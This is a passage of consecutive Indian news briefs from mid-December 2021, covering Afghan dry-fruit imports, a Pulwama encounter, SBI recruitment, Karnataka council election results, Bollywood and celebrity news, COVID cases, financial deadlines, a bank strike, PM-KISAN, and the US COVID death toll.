ministry of agriculture ordered to extend the relaxation of fumigation regulations for commodities for which treatment is stipulated in plant quarantine till March 31, 2022. The Indo-Afghan traders appreciated the government for the gesture. However, they are expecting a permanent solution in the future. Notably, India is the second-largest destination for Afghan exports. Rajdeep Singh Uppal, President, International Chambers of Commerce, Amritsar, while talking to ZEE Media said, We welcome the decision made by the Union government and this is a positive decision. A permanent solution should be found to this so the trade between India and Afghanistan should grow further without any hindrance. It is pertinent to mention that the Indian traders were earlier worried over denial by the Indian government to import dry fruits from Afghanistan fumigated with aluminium phosphide which resulted in stalling of trade for over a month. Zee Media raised the demands of the traders of dry fruits who urged the agriculture ministry to give them permanent permission to import duty fruits fumigated with aluminium phosphide from Afghanistan. While welcoming the relaxation given by the government, President of Indo-Foreign Chamber of Commerce, B K Bajaj said, This is a good temporary decision by the government of India but permanent solution should be made while consideration of ground realties. Bajaj informed that the traders of Afghanistan and India had to face a big loss as they had to pay huge demurrage charges during the closure of the business for a month. Despite the lack of direct land access from India to Afghanistan, India and Afghanistan reportedly had been doing more than Rs 1000 crore worth trade every year through the integrated check post at Attari-Wagah land route. Notably, India for last many years has been asking Pakistan to grant India transit route to Afghanistan through Attari-Wagah land route but Pakistan never responded positively to India on this issue. Live TV Srinagar: An unidentified terrorist was killed in an ongoing overnight encounter with the security forces in the Rajpora area of South Kashmir`s Pulwama district on Wednesday morning. "One unidentified terrorist killed. Operation going on," Kashmir Zone Police said in a tweet. According to J&K police, the encounter took place after a joint team of the police and the army cordoned off the area and launched a search operation on the basis of specific information about the presence of terrorists. As the security forces zeroed in on the spot where the terrorists were hiding, they came under a heavy volume of fire that triggered the encounter. Jammu & Kashmir: One unidentified terrorist neutralized in the encounter that broke out between security forces and terrorists in Rajpura area of Pulwama. (Visuals deferred by unspecified time) pic.twitter.com/rL6iLSldT0 ANI (@ANI) December 15, 2021 A police officer said that in initial hours, the terrorist hiding in the area were given a chance to surrender but he refused. The operation was done in a very cautious manner because of darkness to avoid any civilian causalities. Sources in the police said that the slain terrorist was associated with the Hizbul Mujahideen terror outfit and was active since 2017 in south Kashmir. However, the J&K Police is yet to confirm the identity and affiliation of the slain terrorist. A massive search and combing operation is still on in the area. Live TV SBI Recruitment 2021: As part of its recruitment drive, the State Bank of India (SBI) has released a notification to recruit over 1,200 Circle Based Officers (CBO). According to the notification released on SBI's official website at sbi.co.in, the bank has already started the registration process on December 9 to fill as many as 1,226 vacant posts. Interested and eligible candidates can scroll down to check all the important details. SBI Recruitment 2021: Number of vacancies? Ahmedabad (Gujrati): 354 Bengaluru (Kannada): 278 Bhopal (Hindi): 214 Chennai (Tamil): 276 Jaipur (Hindi): 104 SBI Recruitment 2021: Eligibility? Graduation in any discipline from a recognised University or any equivalent qualification recognised as such by the Central Government. Minimum 2 years experience (Post Essential Academic Qualification Experience) as on December 1, 2021, as an officer in any Scheduled Commercial Bank or any Regional Rural Bank as listed in Second Schedule of Reserve Bank of India." The candidates applying for vacancies of a particular State should be proficient (reading, writing and understanding) in the specified opted local language of that State. The test of knowledge of specified opted local language of the applied state will be conducted as a part of the selection process. Candidates who produce 10th or 12th standard mark sheet/ certificate evidencing having studied the specified opted local language of the applied state as one of the subjects will not be required to undergo the language test. SBI Recruitment 2021: Age limit? As on December 1, 2021, a candidate should not be below 21 years and not above 30 years. SBI Recruitment 2021: Salary? The basic salary approximately is Rs 36,000 plus one increment for each completed year of service. SBI Recruitment 2021: How to apply? Candidates can ONLY apply through ONLINE mode as no other mode of application is accepted. Interested candidates need to register themselves online through Bank's website at https://bank.sbi/careers. After registration, candidates are required to pay the requisite application fee. SBI Recruitment 2021: Last date? Interested candidates need to apply by December 29, 2021. Candidates are also advised to regularly visit Banks website (https://bank.sbi/careers) for the latest updates. Live TV Bengaluru: The ruling BJP on Tuesday fell one seat short of gaining a simple majority in the Karnataka Legislative Council. The party bagged 11 of the 25 seats, from 20 Local Authorities' constituencies in the state, for which the biennial election was held on December 10, and counting was taken up on Tuesday. The opposition Congress also managed to clinch 11 seats, while the JD(S) won two seats. An independent candidate has managed to win one of the two seats in the prestigious Belagavi constituency, officials said. With these results, BJP's strength in the 75-member 'Upper House' has gone up from 32 to 37, while the Congress' tally declined from 29 to 26, and the JD(S)' numbers came down from 12 to 10. During the previous MLC polls from the Local Authorities' constituencies in 2015, the BJP had won six, Congress 14 and the JD(S) four seats respectively, while one seat had gone to an independent. In a major blow to the BJP, independent candidate Lakhan Jarkiholi, one among the Jarkiholi brothers, emerged victorious during the counting of second preferential votes in Belagavi, thereby bagging one of the two seats from the constituency, while Congress' Channaraj Hattiholi won the other in the first preferential votes. Though the ruling BJP has performed better compared to last time, this election is being seen as a "warning bell" for the party following its defeat in stronghold constituency like Belagavi; while for the Congress, according to a senior functionary, it has come as a morale booster as the party has gained more grounds in the Vokkaliga bastion of old Mysuru region, along with a message that collective and united efforts will yield good results. Other than Dakshina Kannada, in all dual-seat constituencies, Congress candidates secured the highest votes (first preferential votes). JD(S)' performance is being seen as dismal, as the regional party has lost three out of four seats-Tumkur, Kolar and Mandya, other than Mysuru- it had won last time, which comes under the party bastion of the old Mysuru region. However, a win by former Prime Minister H D Deve Gowda's grandson Suraj Revanna in Hassan, and the last moment victory in one of the two seats in Mysuru, came as a respite for the party. Expected to win 13-14 seats, says Karnataka CM Terming it as "good results" as BJP has gained five seats more than last time, Chief Minister Basavaraj Bommai said "we had expected to win 13-14 seats and have missed that target in a narrow gap. We will discuss the results in party forums and try to strengthen the party wherever necessary." Responding to a question on the party losing Belagavi seats despite having a large of legislators and 3 MPs from the district, he said, "we will look into details about the cause for loss, discuss with party leadership and will take corrective measures." Setback for BJP, says Congress KPCC President D K Shivakumar, stating that this poll results signify the direction in which aware voters of the state are thinking, noted that the voting pattern in dual-seat constituencies, even in the Chief Minister's home turf, is a clear indication that it is a setback for the BJP. "I'm happy, but not very happy with this result....I had expected 13-14 seats, seats like Ballari, Gulbarga, Chikkamagaluru and Shivamogga we had expected," he said. Result a testimony to Congress' strength at grassroots level While, Leader of Opposition, Siddaramaiah termed the election result as a testimony to the Congress' strength at the grassroots level, and said that it will encourage the party to fight further for the cause of the common man and face future elections with confidence. "We would have won comfortably in more than 15 seats if other parties had not joined hands internally. This backdoor politics is common and we will face this in future also," he said, adding that "BJP is aware that they cannot win any elections based on their zero achievements. Hence they made news about anti-conversion law during the election." On his part, H D Kumaraswamy, however, blaming Congress and BJP for the JD(S)' performance in this election said, it is the common agenda of both the national parties to politically finish off the regional party by the 2023 assembly polls. He alleged that the understanding between the Congress and BJP local leaders led to the party's defeat in Mandya and Kolar, while maintaining that the JD(S) voter base was intact. M K Pranesh, who is Deputy Chairman of the Legislative Council, Leader of the House and Minister Kota Srinivas Poojary won from Chikmagalur and Dakshina Kannada seats respectively on a BJP ticket, while the ruling side's chief whip Mahantesh Kavatagimath lost from Belagavi. Congress' multi-billionaire candidate from Bangalore Urban, Yousuf Sharif who has declared assets belonging to him and his family worth over Rs 1,744 crore, lost to BJP's Gopinath Reddy. Other than JD(S) Suraj Revanna, several candidates whose candidature gave rise to "nepotism debate" have emerged victorious. They include Congress' Channaraja Basavaraj Hottiholi MLA from Belagavi (brother of Lakshmi Hebbalkar), R Rajendra from Tumakuru (former party MLA K N Rajanna's son), S Ravi from Bengaluru Rural (a relative of state Congress president D K Shivakumar), Sunil Gowda Patil from Vijayapura (brother of former minister MB Patil), Sarna Gowda Patil from Raichur (nephew of MLA Amregouda Patil), Bhimrao B Patil from Bidar (brother of MLA Rajasekhar Patil). Also, BJP's Pradeep Shettar from Dharwad (brother of former chief minister and MLA Jagadish Shettar), D S Arun from Shivamogga (son of veteran BJP leader and former legislative council chairman D H Shankaramurthy) are among those who fall in the category. Over 99 per cent voter turnout was recorded in the December 10 elections from all the 25 seats, for which 90 candidates were in the fray, including twenty each from BJP and Congress, and six from JD(S). The electorate for this election comprised elected representatives, including members of urban and rural local bodies. Unlike legislative Assembly or Lok Sabha polls, the council contests are decided by preferential votes. Live TV The Uttar Pradesh govt has given approval for the construction of the upcoming Noida Heliport, that is said to be the largest helicopter port in the country under the PPP model. Noida Authority CEO Ritu Maheshwari has confirmed the development, saying that the heliport will be based on the upcoming Jewar Airport, which will be few kilometres away from the Noida Heliport. As per a report on Tricity Today, Noida Authority will construct the port at Sector 151A, near the Yamuna Expressway at a land parcel of 9.35 acres. Approximately Rs 45 crores will be spent on building the modern heliport with a capacity to park multiple helicopters and will operate both small and big helicopters. The heliport will also have a 15 metre tall air traffic control (ATC) and a parking lot with a capacity of 50 cars. Noida Authority will now float a global tender for the construction of port. The company chosen will also be responsible for managing the heliport for 30 years. As per the CEO, the heliport will be built to park Bell and MI series of helicopters and hangers will also be built. Notably, Pawan Hans also opened a heliport in Delhi's Rohini that is the largest heliport of its kind in India, with a capacity of 25 helicopters. However, that port is owned and operated by Pawan Hans and can't be used by private players to park and operate choppers. Live TV #mute New Delhi: Megastar Amitabh Bachchan is all praises for noted composer Shekhar Ravjianis new song Rang which is sung by him. For the song, Shekhar has opted for a Sufi look along with long hair. T 4129 - Sheykhar , dear friend , music director of songs with me .. and now this with unkempt long hair and Sufi .. so well done .. my wishes as ever https://t.co/wN0wjFw21L Amitabh Bachchan (@SrBachchan) December 14, 2021 Taking to the micro-blogging site Twitter, Big B has appreciated his friend and wrote, T 4129 - Sheykhar , dear friend , music director of songs with me .. and now this with unkempt long hair and Sufi .. so well done .. my wishes as ever. He has also shared the official poster of the song and wished him luck for the future. Now their fans are going gaga after their love for each other. Infact, Shekhar was quick to share the tweet on his social media account and thanking the actor for his kind words and also went on calling him his inspiration. He wrote, Sir! Your love and your blessings are, and will always be my strength and guiding force on every single journey of mine. You are my eternal inspiration. Thank you Sir!!! Love you.. @amitabhbachchan.. Watch the full song over here: For the unversed, Shekhar is one half of the Bollywood composing/producing duo Vishal & Shekhar, since 1999. Some of their popular songs include- Jaane Kyun, Tujhe Bhula Diya, Desi Girl, Kukkad, Bin Tere and Dus Bahane among others. New Delhi: Oscar winner Ben Affleck recently got candid about how feeling trapped in his marriage with ex-wife Jennifer Garner made him an alcohol addict. As per People magazine, during an appearance on the Howard Stern Show, Ben Affleck, who has been to rehab multiple times for alcohol addiction, told that feeling "trapped" in his marriage led him to drink and he would probably still be drinking "if he stayed married" to her with whom he shares three children-- Violet, 16, Seraphina, 12, and Samuel, 9. "I'd probably still be drinking. It's part of why I started drinking ... because I was trapped," Affleck said. "I was like 'I can't leave 'cause of my kids, but I'm not happy, what do I do?' What I did was drink a bottle of scotch and fall asleep on the couch, which turned out not to be the solution," he added. For the unversed, the 49-year-old actor has gone to rehab multiple times for alcohol addiction over the years, including in 2001, 2017 - which he revealed in a post on Facebook - and in 2018, when he and Garner finalized their divorce. Affleck and Garner married in 2005 and later parted their ways in 2015. The 'Last Duel' actor told that he and Garner did everything they could to keep their marriage together, it just didn't work out. "The truth was, we took our time, we made the decision ... We grew apart," Affleck explained. He added, "We had a marriage that didn't work, this happens, with somebody that I love and respect, but to whom I shouldn't be married any longer. Ultimately, we tried. We tried, we tried because we had kids. Both of us felt like we don't want this to be the model that our kids see of marriage." While the exes had ups and downs over the course of their marriage, but as per sources, the two are on good terms now. Affleck is now dating Jennifer Lopez. The two were engaged in 2002 but split in 2004. They co-starred in the films 'Jersey Girl' and 'Gigli' together. They postponed their 2003 wedding days before they were set to walk down the aisle, and then officially split by January 2004. The 'I'm Real' songstress ended her engagement with former MLB star Alex Rodriguez in April. Meanwhile, Ben split with girlfriend-actor Ana de Armas in January. Jennifer shares 13-year-old twins, Max and Emme, with ex-husband Marc Anthony. Mumbai: The Bombay High Court on Wednesday exempted Aryan Khan, the son of Bollywood actor Shah Rukh Khan, from his weekly appearance before the Narcotics Control Bureau's (NCB) office here in connection with the cruise drugs case. A single bench of Justice N W Sambre said the condition imposed on Aryan Khan while granting him bail that he has to appear before the NCB office every Friday is modified. "The applicant (Aryan) shall attend the office of NCB Delhi as and when directed by the agency, provided the NCB issues a 72-hour notice to the applicant," Justice Sambre said. The court also modified another condition laid down in the bail order that required him to furnish his itinerary to the NCB every time he travels out of Mumbai. "The applicant need not submit his itinerary if he is travelling to Delhi for recording his statement. He shall submit his itinerary to the NCB in case of any other travel outside Mumbai," Justice Sambre said. Aryan Khan was granted bail by the HC in the case on October 28. One of the conditions imposed on him was that he should appear before the NCB's south Mumbai office every Friday to mark his presence. The 23-year-old last week filed an application seeking waiver of this condition on the ground that the case is now being probed by a Special Investigation Team (SIT) of the NCB's Delhi office. "The NCB's Mumbai office has now nothing to do with the case. My client (Aryan) has been cooperating with the probe and has, in fact, also appeared before the SIT probing the case and recorded his statement," Aryan Khan's counsel Amit Desai argued. He said Aryan Khan has no hesitation to appear before the NCB's SIT at Delhi as and when summons are issued to him. NCB's advocate Shreeram Shirsat told the court that the agency does not have any objection to the modification. "However, the applicant should appear before the NCB's SIT as and when summoned either in Mumbai or Delhi," Shirsat told the court. Desai further argued that every time Aryan Khan appears before the NCB's office in Mumbai, there is a huge crowd and he has to be accompanied by police personnel, which causes unnecessary hassle. Aryan Khan was arrested by the NCB on October 3 on charges of alleged possession, consumption and sale/purchase of drugs following a raid on a cruise ship off the Mumbai coast. He was granted later granted bail by the HC, which had imposed 14 conditions on him. He was asked, among other things, to appear before the NCB every Friday, not to leave Mumbai without informing the agency and not to leave India without permission from the special NDPS court. New Delhi: Bollywood actor Kareena Kapoor Khan's house help has tested positive for COVID-19, the Brihanmumbai Municipal Corporation (BMC) informed on Wednesday. The '3 Idiots' actor had herself tested positive for the deadly virus after attending a gathering at filmmaker Karan Johar's house. Amrita Arora, Seema Khan and Maheep Kapoor, who too were present there had also tested positive for the novel coronavirus. However, Karan has not contracted it. "My family and I and everyone at home have done their RTPCR tests and with the grace of god we are all negative! In fact, I tested twice just to be safe and am negative. I truly appreciate the grandest efforts of the BMC to ensure the safety of our city. Salute to them," Karan informed on Wednesday. BMC tested 110 people who had been in contact with people who tested COVID positive after Karan's get together. Speaking about it, Suresh Kakani, Additional Commissioner, BMC said, "BMC has tested 110 people after some individuals who had attended the party at Karan Johar's residence came out Corona positive. All 110 people who came in contact with the ones who are positive have been tested and all 110 are negative." Meanwhile, the BMC had revealed on Monday that Kareena's residence has been sealed and also instructed the people who came in contact with the actor to undergo an RT-PCR test. New Delhi: Actor Rajkummar Rao cannot stop gushing over his new bride Patralekhaa. The White Tiger actor shared a mushy post on Instagram to celebrate his one month wedding anniversary with his ladylove. In the goofy picture, Patralekhaa is donning a trendy bikini and Rajkummar is in black shorts. The two are fallen on the ground with mud sling on them and are ear to ear smiling. Check out the photo: The second photo in the post is from the day the two got married. Mera yaar tum, mera pyaar tum, mera dil bhi tum, dildaar tum @patralekhaa Its already been a month. (You are my friend, you are my love, you are heart, you are my beloved), wrote the actor in hindi. Actors Ayushmann Khurrana, Huma Qureshi, Sikander Kher and others dropped red heart emojis in the comment section. Rajkummar Rao and Patralekhaa dated for 11 years before tying the knot on November 15 at the Oberoi Sukhvilas Spa Resort. The two shared their official wedding photos on Instagram with loved-up posts for each other. Finally after 11 years of love, romance, friendship and fun, I got married to my everything today, my soulmate, my best friend, my family. Today there is no greater happiness for me than being called your husband @patralekhaa Heres to forever .. and beyond, wrote Rajkummar. Patralekhaa called Rajkummar her everything and had written, I got married to my everything today; my boyfriend, my partner in crime, my family, my soulmate...My best friend for the last 11 years! There is no greater feeling than to be your wife! Heres to our forever...@rajkummar_rao. Rajkummar and Patralekhaas wedding bash was attended by Huma Qureshi, Farah Khan, Zeeshan Ayyub, Abhishek Banerjee, Aditi Rao Hydari, Siddharth among others. NEW DELHI: It may have been a private wedding of Katrina Kaif and Vicky Kaushal and not many Bollywood celebrities were seen attending it, but they made sure to send their regards to the newlyweds in the form of gifts. Just as Katrina and Vicky were about to leave for their honeymoon, they were bombarded with some expensive gifts from their colleagues in the industry. While there is no confirmation yet, we bring to you details about some of the gifts VicKat received as their wedding presents, which are extraordinarily expensive. Bollywood superstar Salman Khan is known to for gifting expensive cars and other things to people he cares about, and Katrina is one among them. The 'Rajneeti' actress is known to be extremely close to Salman. In fact, it is no hidden fact that it was Salman who helped Katrina set a career in Bollywood. The 'Dabangg' star has reportedly gifted a brand new Range Rover car worth a staggering 3 crore rupees to Katrina Kaif as her wedding gift. Actor Ranbir Kapoor, who was once in a relationship with Katrina Kaif and did several films with her, did not attend the wedding of his ex-girlfriend, which took place in Rajasthan. However, he made sure to extend his wishes and regards by gifting her a diamond necklace worth 2.7 crore rupees. Katrina Kaif and and Shah Rukh Khan worked together a couple of films. The two are said to be good friends and have often been seen partying together. In fact, Shah Rukh is also said to be friends with Vicky Kaushal. While King Khan may not have attended Katrina and Vicky's wedding due to personal reasons, he gifted the newlyweds an expensive painting worth 1.5 lakh rupees. Bollywood's Greek God Hrithik Roshan is friends with both Katrina Kaif and Vicky Kaushal. According to reports, the 'Super 30' actor gave Vicky a new BMW G310 R bike worth 3 lakh rupees. Actress Alia Bhatt, who once shared a very close bond with Katrina, gifted the couple a perfume basket worth lakhs of rupees. Actress Anushka Sharma, who shared screen space with Katrina in films like 'Jab Tak Hai Jaan' and 'Zero', has reportedly gifted Kat diamond earrings worth Rs 6 lakh. Katrina Kaif's close friend Taapsee Pannu has also gifted Katrina Kaif a platinum bracelet. Live TV New Delhi: As we all know that Ranbir Kapoor assisted Sanjay Leela Bhansali for his film Black as an Assistant director. Reminiscing his initial days, Ranbir shared that the director never gave him any star-kid treatment and would treat him like any other AD on the sets. According to Ranbir, Bhansali would hit them, abuse them and he used to be kneeling for hours. However, the actor added all that has only hardened them and prepared them for the world. PTI quoted the actor as saying, "Not saying that my generation of filmmakers are only running behind the commercial aspect... When I assisted Mr (Sanjay Leela) Bhansali (on 'Black'), he used to really treat me as an assistant director. I used to be kneeling down for hours, he used to hit us, he used to abuse us... That only hardens you and prepares you for the world." He gave Bhansalis example in defense when he was told by media that his uncle Randhir Kapoor has once said that the Raj Kapoor era of films is over, talking about the fact that today the filmmakers are more into the commercial aspect of films than creativity. Ranbir was speaking at a panel discussion following the launch of the book "Raj Kapoor: The Master At Work" in the capital. Published by Bloomsbury India, the book is written by filmmaker Rahul Rawail, who served as an assistant director to Raj Kapoor on films like "Bobby". He also shared that he is "interested" in making a biographical feature film on the life of his grandfather and Hindi cinema veteran Raj Kapoor. On the work front, Ranbir is gearing up for the launch of his most-awaited film Brahmastra which also stars Alia Bhatt in the lead role. The film also features Amitabh Bachchan, Akkineni Nagarjuna and Mouni Roy in pivotal roles. The film is all set to hit the theatres on September 9, 2022, after several delays in production. Apart from this, Ranbir also has Karan Malhotras Shamshera, and Sandeep Vanga Reddys Animal in his kitty. (With PTI inputs) New Delhi: Young starkid Shanaya Kapoor, who is all set to foray into Bollywood, has tested positive for the coronavirus. The development comes days after her mother Maheep Kapoor's result came out positive. Shanaya informed about her COVID diagnosis by releasing an official statement on Instagram. The actress said that she has mild symptoms and has isolated herself. She also asked those who came in contact with her to get themselves tested. I have tested positive for Covid-19. As of today, I have mild symptoms, but Im feeling ok and have isolated myself. I had tested negative four days ago however while testing again as a precaution the results came positive. I am following the protocol given by my doctor and health professionals. If you have been in contact with me, request you to please get tested. Stay safe everyone," Shanaya wrote on her Instagram Story. Jewellery designer and film personality Maheep Kapoors actor-husband Sanjay Kapoor confirmed her Covid diagnosis on Tuesday. Maheep, best known for featuring in last years Netflix series Fabulous Lives of Bollywood Wives", is asymptomatic. She has tested positive and fortunately with no symptoms as she is doubly vaccinated. She is following all norms by being self-isolated," Sanjay told news agency PTI. On Monday, actors Kareena Kapoor Khan, Amrita Arora and Maheep tested positive for COVID-19. Sanjay had earlier told PTI that Maheep, who is fully vaccinated, had 'no symptoms' and was under home quarantine. There were, however, reports that the actors, close friends of filmmaker Karan Johar, tested positive after attending a party with the director. However, KJo rubbished media reports that his 'intimate gathering' with friends was not a 'party', adding that his Bandra residence was not a 'COVID hotspot' as claimed. According to reports, at least 40 people got themselves tested for COVID-19, including his mother Hiroo Johar, after news surfaced that four people have tested positive. The 49-year-old filmmaker also said no one in his family had contracted the virus. "All of us are responsible and masked at all times and no one would treat this pandemic lightly. My request to certain members of the media is to exercise some restraint in their extreme reportage without the assessment of facts" he added. There are reports that Maheep's close friend and co-star from "Fabulous Lives of Bollywood Wives", Seema Khan, has also tested positive for COVID-19 but there's no confirmation yet. Earlier in the day, News18 reported that the BMC sealed Sanjay Kapoors Juhu building and declared it as a containment zone after the actor's wife Maheep Kapoor tested positive for COVID-19. Live TV New Delhi: Before the end of the calendar year, you must complete a lot of tasks that have a direct impact on your finances. Here is a list of 4 major financial works you must complete before end of December 2021. PF Account Nominee If you have a Provident Fund account, then you must not ignore this deadline. The Employees' Provident Fund Organisation (EPFO) has made it necessary for all PF account holders to designate a nominee. The deadline for adding the nominee is December 31, 2021. Failure to add a nominee to your PF account by the necessary date can result in a variety of problems, including the loss of benefits such as insurance money and pension. Importantly, PF account holders can add the nominee online, as we describe here. ITR Filing Deadline The government had in September extended the deadline till December 31 for filing of income tax returns by individuals for the financial year 2021, amid the coronavirus pandemic and technical glitches in the IT portal. Earlier, the deadline was extended to September 30, 2021. Usually, the last date for filing the ITR (Income Tax Returns) for the individual taxpayers is July 31. Submission of Life Certificate for pensioners The Ministry of Personnel, Public Grievances & Pension has extended the deadline of submission of Life Certificate to December 31 from the previous deadline of November 30, 2021. It must be noted that that every Central Government Retired Employee is required to submit life certificate in the month of November for continuation of his/her pension. Hence, in view of the ongoing Covid-19 pandemic in various states and keeping in view of the vulnerability of elderly population to Corona Virus, the ministry has now been decided to extend the existing timeline for submission of Life Certificate for all age group of pensioners from 30/11/2021 onwards. Now, all Central Government pensioners may submit Life Certificate till 31st December, 2021. EPFO's Aadhaar and UAN deadline The Employees' Provident Fund Organisation (EPFO) has extended deadline for Aadhaar linking of UAN till December 31, 2021 for Establishments in NORTH EAST and certain class of establishments. Issuing a circular, the EPFO said, "...after allowing sufficient time of almost four years for Aadhaar seeding, EPFO issued instructions dated 01.06.2021 cited above mandating that UANs is to be Aadhaar seeded for receipt of contributions through ECR. However, considering the challenges faced by the employers & employees in expeditious seeding of Aadhaar in UANs particularly in view of corrections required in Aadhaar data of employees in aftermath of second wave of Pandemic, the EPFO with prior approval of the Central Government extended the time for mandatory seeding of Aadhaar in UAN for filing ECR up to 01.09.2021 which was communicated vide reference cited 2 above." Live TV #mute New Delhi: 7th Pay Commission latest update: Central government employees waiting for the official update on 18 months DA arrears might be in for some good news early next year. In 2021, the union government first hiked the DA to 28% and consequently to 31%, however their expectations regarding the 18 months arrears were not met. Now, as per the latest media reports, Shiv Gopal Mishra, Secretary (Staff Side) of the National Council of Joint Consultative Machinery (JCM), the council has put forth a demand in front of the government that while restoring the DA, one time settlement of DA arrears pending for 18 months should also be done. The issue of arrears were discussed between the National Council of JCM, Department of Personnel and Training (DoPT) and the Finance Minister. However, no concrete answer was received. The employees have since been persistent on the demand and talks have been on with the government. However, it is expected that the issue would be discussed with the cabinet secretary before Christmas. According to Shiv Gopal Mishra of the National Council of JCM, the DA arrears of Level-1 employees range from Rs 11,880 to Rs 37,554. Whereas, for Level-13 (7th CPC basic pay scale Rs 1,23,100 to Rs 2,15,900) or Level-14 (pay scale), the DA arrears in the hands of an employee will be Rs 1,44,200. 2,18,200 will be paid, quoted media reports. How much will DA arrears be hiked? Central employees whose minimum grade pay is Rs 1800 (Level-1 Basic Pay Scale range 18000 to 56900) is awaiting Rs 4320 [{4 percent of 18000} X 6]. At the same time, [{4 percent of 56900}X6] are waiting for Rs 13,656. Under the 7th Pay Commission, the Central employees will get DA arrears of Rs 3,240 [{3 percent of 18,000}x6] from July to December 2020 on the minimum grade pay. At the same time, those with [{3 percent of Rs 56,9003}x6] will get Rs 10,242. At the same time, if we calculate the DA arrears between January and July 2021, then it will be 4,320 [{4 percent of Rs 18,000}x6]. At the same time, [{4 percent of 56,900}x6] will be Rs.13,656. Live TV #mute New Delhi: If you have any important banking work, you must get them done by today, Wednesday (December 15), as the upcoming bank closures might interfere with your activities. Though banking activities on mobile and internet will remain uninterrupted, several bank branches will remain closed on account of bank holidays and the upcoming proposed strike by banking associations in the coming week of this month. Bank unions have called for a two-day strike starting December 16, to protest against the proposed privatisation of banks. Banks will be closed for two-day strike on December 16 (Thursday) and December 17 (Friday). However, you must note that the banks will NOT be closed for 4 days in all states or regions. This is the total number of days when banks in different parts of the country will remain closed for state-observed holidays and banking strike. Bank strikes on December 16 Bank strikes on December 17 Death Anniversary of U SoSo Tham: December 18 (Holiday in Shillong) December 19: Sunday Sanjay Das, general secretary of All India Bank Officers Confederation (AIBOC), told news agency PTI that besides the two-day strike, a series of other agitational programmes will be held if the government does not give up the idea of privatisation of the banks. In the budget speech of 2021, Union Finance Minister Nirmala Sitharaman had said that two public sector banks will be privatised during the current fiscal. Live TV #mute New Delhi: Those eligible farmers who are eagerly waiting for the 10th Installment of the PM Kisan Samman Nidhi Scheme may be in for some really big news tomorrow. It is being widely speculated in several media reports that PM Narendra Modi may release the 10th installment on of PM KISAN on Thursday, December 16. This speculation is fuelled by the reports that PM Modi is will address the closing ceremony of an agriculture program organized by the Gujarat government on natural farming practices 16 December. Around 5,000 farmers are expected to participate in the programme. Hence, it has been widely discussed in the media that the 10th installment of the PM Kisan might be deposited in the account of farmers on Thursday. However, there has been no official confirmation on the same as yet and must be taken with a pinch of salt. It must be recalled that last year, on December 25, PM Modi had released the 7th instalment PM-KISAN. The PM Modi transferred Rs 18,000 crores to more than 9 crores beneficiary farmer families under via video conferencing on December 25, which is also the birth anniversary of former PM Atal Bihari Vajpayee. The Pradhan Mantri Kisan Samman Nidhi (PM-KISAN) Scheme was launched by PM Modi in 2019. The Scheme aims to provide income support to all landholder farmer families across the country with cultivable land, subject to certain exclusions. Under the Scheme, an amount of Rs 6000 per year is released in three 4-monthly instalments of Rs 2000 each directly into the bank accounts of the beneficiaries. In a financial year, PM Kisan installment is credited thrice through --Period 1 from April-July; Period 2 from August to November; and Period 3 from December to March. ln the beginning when the PM-KISAN Scheme was launched (February, 2019), its benefits were admissible only to Small & marginal Farmers' families, with combined landholding upto 2 hectare. The Scheme was later on revised in June 2019 and extended to all farmer families irrespective of the size of their landholdings The Central Government had notified a decision to extend the benefit of Rs 6,000 per year under the Pradhan Mantri Kisan Samman Nidhi scheme to all 14.5 crore farmers in the country, irrespective of the size of their landholding. Live TV #mute Ayodhya: Eleven chief ministers of BJP-ruled states will offer prayers at the makeshift temple at Ram Janmabhoomi in Ayodhya on Wednesday. Protocol officials of the 11 chief ministers and three deputy chief ministers had reached Ayodhya on Tuesday. The chief ministers arrived in Lucknow from Varanasi on Tuesday evening and, after a night stay in the state capital, will reach Ayodhya by 11 am on Wednesday, a senior district official said. They will visit the Hanumangarhi temple around 2 pm and then offer prayers at the Ram Janmabhoomi, where a temple in being constructed. Chief Ministers from Himachal Pradesh, Uttarakhand, Arunachal Pradesh, Madhya Pradesh, Assam, Nagaland, Manipur, Tripura, Gujarat, Haryana and Goa, and two deputy chief ministers from Bihar and one from Arunachal Pradesh will be visiting the holy city, the official said. Official sources indicated that chief ministers of Sikkim, Meghalaya, Mizoram, Karnataka and Puducherry may also visit Ayodhya. The chief ministers were in Varanasi, where they attended the inauguration of the Kashi Vishwanath Dham by Prime Minister Narendra Modi on Monday. They also took part in a conclave of BJP chief ministers. The Prime Minister posted a picture with the chief ministers on Twitter, saying "Just concluded an extensive meeting in Kashi with @BJP4India Chief Ministers and Deputy Chief Ministers." Live TV New Delhi: The US death toll from COVID-19 topped 8,00,000 on Tuesday, a once-unimaginable figure seen as doubly tragic, given that more than 2,00,000 of those lives were lost after the vaccine became available practically for the asking last spring. The number of deaths, as compiled by Johns Hopkins University, is about equal to the population of Atlanta and St. Louis combined, or Minneapolis and Cleveland put together. It is roughly equivalent to how many Americans die each year from heart disease or stroke. US has seen most number of COVID-19 deaths The United States has the highest reported toll of any country and accounts for approximately 4% of the world's population but about 15% of the 5.3 million known deaths from the coronavirus since the outbreak began in China two years ago. The true death toll in the U.S. and around the world is believed to be significantly higher because of cases that were overlooked or concealed. A closely watched forecasting model from the University of Washington projects a total of over 8,80,000 reported deaths in the U.S. by March 1. Health experts lament that many of the deaths in the United States were especially heartbreaking because they were preventable by way of the vaccine, which became available in mid-December a year ago and was thrown open to all adults by mid-April of this year. Over 60% of Americans are fully vaccinated About 200 million Americans are fully vaccinated, or just over 60% of the population. That is well short of what scientists say is needed to keep the virus in check. "Almost all the people dying are now dying preventable deaths," said Dr. Chris Beyrer, an epidemiologist at the Johns Hopkins Bloomberg School of Public Health. "And that's because they're not immunized. And you know that, God, it's a terrible tragedy." When the vaccine was first rolled out, the country's death toll stood at about 3,00,000. It hit 600,000 in mid-June and 700,000 on October 1. The U.S. crossed the latest threshold with cases and hospitalizations on the rise again in a spike driven by the highly contagious delta variant, which arrived in the first half of 2021 and now accounts for practically all infections. Now the omicron variant is gaining a foothold in the country, though scientists are not sure how dangerous it is. ALSO READ | Omicron spreading at a rate world has not seen with any previous variant, warns WHO Live TV Washington (US): The US Ambassador-designate to Pakistan, Donald Armin Blome, on Tuesday (US local time) said that he will push Islamabad to target all terrorist groups without distinction. "If confirmed, I will press Pakistan to target all terrorist groups without distinction," said Blome. The diplomat was questioned by lawmakers weighing his nomination to become the ambassador to Pakistan. Blome, during his testimony, gave a statement followed by questions from lawmakers of the Senate Foreign Relations Committee. The Senate Foreign Relations Committee is chaired by Sen. Robert Menendez, a Democrat lawmaker from New Jersey, along with only a handful of Democrats and two Republicans. Blome further said that will never shy away from defending human rights in Pakistan, particularly freedom of religion and expression."Religious minorities in Pakistan have long faced discrimination including accusations of blasphemy. The accusations have undermined the rule of law, threatened mob rule and deeply damaged Pakistan's international reputation and 